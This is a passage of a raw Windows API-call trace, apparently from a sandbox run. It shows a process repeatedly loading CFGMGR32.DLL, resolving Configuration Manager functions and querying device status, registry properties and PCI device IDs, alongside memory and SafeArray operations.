[0237.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4919f089, dwHighDateTime=0x1d9eb0c)) [0237.127] SetEvent (hEvent=0x248) returned 1 [0237.133] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.133] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.133] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.134] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.135] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.136] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.137] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.137] malloc (_Size=0x18) returned 0x20abc281e00 [0237.138] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x29, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0237.138] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x491c547c, dwHighDateTime=0x1d9eb0c)) [0237.139] SetEvent (hEvent=0x248) returned 1 [0237.144] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.144] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.145] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.214] malloc (_Size=0x18) returned 0x20abc281a80 [0237.214] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x29, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0237.215] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x49283fbb, dwHighDateTime=0x1d9eb0c)) [0237.215] SetEvent (hEvent=0x248) returned 1 [0237.220] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.220] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.223] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.223] malloc (_Size=0x18) returned 0x20abc281e20 [0237.224] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0237.224] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49283fbb, dwHighDateTime=0x1d9eb0c)) [0237.224] SetEvent (hEvent=0x248) returned 1 [0237.231] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.231] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.231] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.232] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.235] malloc (_Size=0x18) returned 0x20abc282060 [0237.235] CM_Get_Device_IDA (in: dnDevInst=0x2a, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2668&SUBSYS_11001AF4&REV_01\\3&11583659&0&38") returned 0x0 [0237.235] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x492aa23c, dwHighDateTime=0x1d9eb0c)) [0237.236] SetEvent (hEvent=0x248) returned 1 [0237.240] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.240] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.240] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.241] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.265] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.268] malloc (_Size=0x18) returned 0x20abc281c60 [0237.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0237.269] malloc (_Size=0x124) returned 0x20abc286930 [0237.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286930, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286930, pulLength=0x2dc22fd3f8) returned 0x0 [0237.270] free (_Block=0x20abc286930) [0237.270] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x492f64f8, dwHighDateTime=0x1d9eb0c)) [0237.271] SetEvent (hEvent=0x248) returned 1 [0237.274] malloc (_Size=0x18) returned 0x20abc281ea0 [0237.274] SafeArrayPutElement (psa=0x20abbaf2120, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.274] free (_Block=0x20abc281ea0) [0237.274] malloc (_Size=0x18) returned 0x20abc281f60 [0237.274] SafeArrayPutElement (psa=0x20abbaf2120, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.274] free (_Block=0x20abc281f60) [0237.274] malloc (_Size=0x18) returned 0x20abc2819e0 [0237.274] SafeArrayPutElement (psa=0x20abbaf2120, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.275] free (_Block=0x20abc2819e0) [0237.275] malloc (_Size=0x18) returned 0x20abc281da0 [0237.275] SafeArrayPutElement (psa=0x20abbaf2120, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.275] free (_Block=0x20abc281da0) [0237.275] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0237.275] SafeArrayGetDim (psa=0x20abbaf2120) returned 0x1 [0237.275] SafeArrayGetLBound (in: psa=0x20abbaf2120, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0237.275] SafeArrayGetUBound (in: psa=0x20abbaf2120, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0237.275] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0237.275] SafeArrayGetDim (psa=0x20abbaf2120) returned 0x1 [0237.275] SafeArrayGetUBound (in: psa=0x20abbaf2120, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0237.275] SafeArrayGetElemsize (psa=0x20abbaf2120) returned 0x8 [0237.275] SafeArrayGetElement (in: psa=0x20abbaf2120, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0237.276] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.276] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.276] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.276] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.277] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0237.277] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0237.278] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.278] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.280] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.281] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.282] malloc (_Size=0x18) returned 0x20abc281de0 [0237.282] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0237.282] malloc (_Size=0x10e) returned 0x20abc286930 [0237.283] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286930, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286930, pulLength=0x2dc22fd3f8) returned 0x0 [0237.284] free (_Block=0x20abc286930) [0237.284] malloc (_Size=0x48) returned 0x20abc2abea0 [0237.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4931caca, dwHighDateTime=0x1d9eb0c)) [0237.284] SetEvent (hEvent=0x248) returned 1 [0237.339] malloc (_Size=0x18) returned 0x20abc281b20 [0237.339] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.339] free (_Block=0x20abc281b20) [0237.339] malloc (_Size=0x18) returned 0x20abc281f20 [0237.340] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.340] free (_Block=0x20abc281f20) [0237.340] malloc (_Size=0x18) returned 0x20abc281d60 [0237.340] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.340] free (_Block=0x20abc281d60) [0237.340] malloc (_Size=0x18) returned 0x20abc281f00 [0237.340] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.340] free (_Block=0x20abc281f00) [0237.340] malloc (_Size=0x18) returned 0x20abc281b60 [0237.340] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.340] free (_Block=0x20abc281b60) [0237.340] malloc (_Size=0x18) returned 0x20abc281c00 [0237.340] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.340] free (_Block=0x20abc281c00) [0237.340] malloc (_Size=0x18) returned 0x20abc281ac0 [0237.340] SafeArrayPutElement (psa=0x20abbaf1ca0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0237.341] free (_Block=0x20abc281ac0) [0237.341] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c970 [0237.341] SafeArrayGetDim (psa=0x20abbaf1ca0) returned 0x1 [0237.341] SafeArrayGetLBound (in: psa=0x20abbaf1ca0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0237.341] SafeArrayGetUBound (in: psa=0x20abbaf1ca0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0237.341] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0237.341] SafeArrayGetDim (psa=0x20abbaf1ca0) returned 0x1 [0237.341] SafeArrayGetUBound (in: psa=0x20abbaf1ca0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0237.341] SafeArrayGetElemsize (psa=0x20abbaf1ca0) returned 0x8 [0237.341] SafeArrayGetElement (in: psa=0x20abbaf1ca0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0237.341] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1690, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.342] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1698, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.342] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.342] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16a8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.342] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.342] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.342] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf16c0, _Size=0x8 | out: 